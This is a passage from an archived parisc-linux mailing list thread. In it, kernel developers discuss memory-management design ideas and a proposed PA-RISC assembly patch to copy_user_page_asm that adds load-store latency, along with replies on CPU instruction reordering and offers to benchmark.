	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 16:57:24 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	iBVNvNv1040142 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 15:57:23 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.113.178] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id UQg1Bdc5
	authenticated by SMTP; Fri, 31 Dec 2004 15:57:22 -0700 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <20041231225447.GC23592@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22239

On Fri December 31 2004 16:54, Grant Grundler wrote:
> On Fri, Dec 31, 2004 at 03:35:28PM -0600, Michael S. Zick wrote:
> > I tried the 'patch that works' route with a similar suggestion for sched.c
> > Based on that experience...
> 
> ah good. You learned something. :^)
>
Sometimes.

> 
> > What I proposed was:
> > The memory page free pool be defined as a 'virtual device' with
> > a two part driver.
> ...
> > In this virtual free pool device, the kernel is the 'client' and the
> > daemon is the 'host' (which only happens to be part of the kernel).
> > Only the 'client' code is in the user's execution path.
> 
> This sounds neat and "clean". But things could get very ugly
> when one needs to "steal" zero'd pages for other uses.
> 
> > Should be interesting to consider.
> 
> Yes, Agreed.
>
Better the discussion first - code optionally later.

> 
> > I wouldn't expect the idea to be adopted any quicker than my
> > description (and patch that works) that the scheduler should be
> > a virtual device with a two part driver.
> 
> I don't know what happened to your scheduler idea specifically (or
> how it was presented), but making something a driver means
> giving up something else. Been there done that.
> 
Overly radical at the time of presentation compared with 
other 'work in progress'.

Managing the free page pool (only) as a virtual device would lead
to much-oh (scientific term ;) glue code.  Not much of an improvement
over current practice.
Managing over-all memory resources as a virtual device is the answer;
but that is hardly a 'patch'.

Even so, glue code would be required unless the resource of 
cpu-cycles was also managed as a virtual device.

Now the topic is definitely out of the 'patch' scope, providing both
virtual devices would need to be a kernel branch devoted to the
project.

That in turn would require that a whole lot of people 'get on board'
with the ideas behind the design change.

The only practical means to accomplish that brings us full circle
back to the observation above: "Discussion First".

Mike
(PS: None of this is academic, just a clean re-write of code
written in the past for proprietary operating systems.)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Sun, 2 Jan 2005 23:19:10 -0700
Lines: 97
Approved: news@gmane.org
Message-ID: <20050103061910.GJ15061@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623635 12124 80.91.229.3 (22 Nov 2014 02:33:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 06:20:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 03 Jan 2005 07:20:03 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0D54C3BE62; Sun,  2 Jan 2005 23:19:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11347-08; Sun, 2 Jan 2005 23:19:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2DE6F3BE5A; Sun,  2 Jan 2005 23:19:18 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E9113BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Jan 2005 23:19:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11347-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Jan 2005 23:19:12 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6E8873BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Jan 2005 23:19:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A67A4298034
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Jan 2005 23:19:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26286-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Jan 2005 23:19:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6F8DA298028; Sun,  2 Jan 2005 23:19:10 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22240


This patch adds one more cycle between the load and store of a
given register by using three pairs of registers instead of two.
I had previously quoted one of the PA-8xxx papers that indicated
L1 cache was 2 cycles latency.
With this diff, the unrolled part of the loop now meets that.
The prolog and epilogue obviously cannot.

If anyone can show me a workload that improves with this diff,
I'll apply it. Otherwise it's just an academic excercise.

BTW, I don't really trust build-tools/cpup.c unless someone
can convince me it's really running in wide mode and not getting
lots of page faults/page zeroing to interfere with the test.
Maybe need to iterate over a smaller buffer (e.g. 64MB) several times
and ignore the first iteration. Maybe also record cr16 values between
calls to find a minima and median *after* all the copying
is done.

thanks,
grant

ps. The "alignment doesn't matter" comment is too short. It really
    means the alignment doesn't matter for the rest of the loop.
    ie I don't need to add nops to seperate the pairs of "std" insns.

Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.14
diff -u -p -r1.14 pacache.S
--- arch/parisc/kernel/pacache.S	30 Dec 2004 08:07:48 -0000	1.14
+++ arch/parisc/kernel/pacache.S	3 Jan 2005 05:59:19 -0000
@@ -306,51 +306,52 @@ copy_user_page_asm:
 
 	ldd		0(%r25), %r19		/* bundle 1 */
 	ldi		32, %r1                 /* PAGE_SIZE/128 == 32 */
-
 1:	ldd		8(%r25), %r20
 	ldw		256(%r25), %r0		/* prefetch 4 cacheline ahead */
 
 	ldd		16(%r25), %r21		/* bundle 2 */
 	ldd		24(%r25), %r22
+	nop		/* preserve alignment of quads */
+	nop		/* preserve alignment of quads */
+
+	ldd		32(%r25), %r23		/* bundle 3 */
+	ldd		40(%r25), %r24
 	std		%r19, 0(%r26)
 	std		%r20, 8(%r26)
 
-	ldd		32(%r25), %r19		/* bundle 3 */
-	ldd		40(%r25), %r20
+	ldd		48(%r25), %r19		/* bundle 4 */
+	ldd		56(%r25), %r20
 	std		%r21, 16(%r26)
 	std		%r22, 24(%r26)
 
-	ldd		48(%r25), %r21		/* bundle 4 */
-	ldd		56(%r25), %r22
-	std		%r19, 32(%r26)
-	std		%r20, 40(%r26)
-
-	ldd		64(%r25), %r19		/* bundle 5 */
-	ldd		72(%r25), %r20
-	std		%r21, 48(%r26)
-	std		%r22, 56(%r26)
-
-	ldd		80(%r25), %r21		/* bundle 6 */
-	ldd		88(%r25), %r22
-	std		%r19, 64(%r26)
-	std		%r20, 72(%r26)
+	ldd		64(%r25), %r21		/* bundle 5 */
+	ldd		72(%r25), %r22
+	std		%r23, 32(%r26)
+	std		%r24, 40(%r26)
+
+	ldd		80(%r25), %r23		/* bundle 6 */
+	ldd		88(%r25), %r24
+	std		%r19, 48(%r26)
+	std		%r20, 56(%r26)
 
 	ldd		 96(%r25), %r19		/* bundle 7 */
 	ldd		104(%r25), %r20
-	std		%r21, 80(%r26)
-	std		%r22, 88(%r26)
+	std		%r21, 64(%r26)
+	std		%r22, 72(%r26)
 
 	ldd		112(%r25), %r21		/* bundle 8 */
 	ldd		120(%r25), %r22
+	std		%r23, 80(%r26)
+	std		%r24, 88(%r26)
+
+	ldo		128(%r25), %r25		/* alignment doesn't matter */
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)

From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Mon, 3 Jan 2005 22:13:42 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20050104061342.GE18497@tausq.org>
References: <20050103061910.GJ15061@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623635 12126 80.91.229.3 (22 Nov 2014 02:33:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 06:14:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 04 Jan 2005 07:14:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E6943BE6E; Mon,  3 Jan 2005 23:14:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25561-08; Mon, 3 Jan 2005 23:14:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CA4813BE62; Mon,  3 Jan 2005 23:13:52 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FE1B3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 23:13:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25561-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Jan 2005 23:13:46 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 9737D3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 23:13:46 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id AE5D86C09D; Mon,  3 Jan 2005 22:13:42 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20050103061910.GJ15061@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22241

> This patch adds one more cycle between the load and store of a
> given register by using three pairs of registers instead of two.
> I had previously quoted one of the PA-8xxx papers that indicated
> L1 cache was 2 cycles latency.
> With this diff, the unrolled part of the loop now meets that.
> The prolog and epilogue obviously cannot.
> 
> If anyone can show me a workload that improves with this diff,
> I'll apply it. Otherwise it's just an academic excercise.

i'd like to see numbers too, but i doubt you will see any. it appears
that at least newer PA cpus do a sufficient amount of internal
instruction reordering that you don't see a difference as long as there
are enough pending instructions to keep the pipeline busy.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 04 Jan 2005 01:23:06 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1104826986.8221.8.camel@beavis>
References: <20050103061910.GJ15061@colo.lackof.org>
	<20050104061342.GE18497@tausq.org>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623636 12129 80.91.229.3 (22 Nov 2014 02:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 08:24:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 04 Jan 2005 09:24:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E86973BC80; Tue,  4 Jan 2005 01:24:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27314-07; Tue, 4 Jan 2005 01:24:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 63E703BE5A; Tue,  4 Jan 2005 01:23:46 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B63753BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 01:23:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27314-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 01:23:26 -0700 (MST)
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by free.linux.hp.com (Postfix) with ESMTP id 9B15A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 01:23:25 -0700 (MST)
Original-Received: from 10.0.0.81 (unknown [10.0.0.81])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 5689B2B10C; Tue,  4 Jan 2005 01:23:14 -0700 (MST)
In-Reply-To: <20050104061342.GE18497@tausq.org>
X-Mailer: Evolution 2.0.2 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22242

Randolph,

Is this something that would benefit older processors? Say a PCX-T
processor?  Is this something worth testing?  I'm pretty sure I 
have a PCX-T processor around I could boot up and test.

- Ryan

On Mon, 2005-01-03 at 22:13 -0800, Randolph Chung wrote:
> > This patch adds one more cycle between the load and store of a
> > given register by using three pairs of registers instead of two.
> > I had previously quoted one of the PA-8xxx papers that indicated
> > L1 cache was 2 cycles latency.
> > With this diff, the unrolled part of the loop now meets that.
> > The prolog and epilogue obviously cannot.
> > 
> > If anyone can show me a workload that improves with this diff,
> > I'll apply it. Otherwise it's just an academic excercise.
> 
> i'd like to see numbers too, but i doubt you will see any. it appears
> that at least newer PA cpus do a sufficient amount of internal
> instruction reordering that you don't see a difference as long as there
> are enough pending instructions to keep the pipeline busy.
> 
> randolph
-- 
Ryan Bradetich <rbradetich@uswest.net>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 00:29:40 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20050104082940.GF18497@tausq.org>
References: <20050103061910.GJ15061@colo.lackof.org>
	<20050104061342.GE18497@tausq.org> <1104826986.8221.8.camel@beavis>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623636 12134 80.91.229.3 (22 Nov 2014 02:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 08:30:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 04 Jan 2005 09:30:30 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E9E4A3BE67; Tue,  4 Jan 2005 01:30:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27371-08; Tue, 4 Jan 2005 01:30:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 86EE63BE62; Tue,  4 Jan 2005 01:30:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FA293BE5A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 01:29:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27371-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 01:29:49 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id A133A3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 01:29:49 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id ADA406C074; Tue,  4 Jan 2005 00:29:40 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1104826986.8221.8.camel@beavis>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22243

> Is this something that would benefit older processors? Say a PCX-T
> processor?  Is this something worth testing?  I'm pretty sure I 
> have a PCX-T processor around I could boot up and test.

i have no idea, but we can test it and see. i've read some pdfs which
suggest that all pa20 processors can do this reordering, but i don't
know about pa11 processors. in any case, empirical results are always
better than speculation :)

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] fix serial stuff in 2.6.10-pa3 wrt to NO_IRQ
Date: Mon, 3 Jan 2005 17:03:34 -0500
Organization: wh0rd.org
Lines: 52
Approved: news@gmane.org
Message-ID: <200501031703.34801.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_2Ec2BDWsEqwfLPx"
X-Trace: ger.gmane.org 1416623636 12136 80.91.229.3 (22 Nov 2014 02:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 22:03:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 03 Jan 2005 23:03:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4D9EB3BE63; Mon,  3 Jan 2005 15:03:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21052-09; Mon, 3 Jan 2005 15:03:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 007293BE5D; Mon,  3 Jan 2005 15:03:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56AFB3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 15:03:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21102-05 for <parisc-linux@lists.parisc-linux.org>;
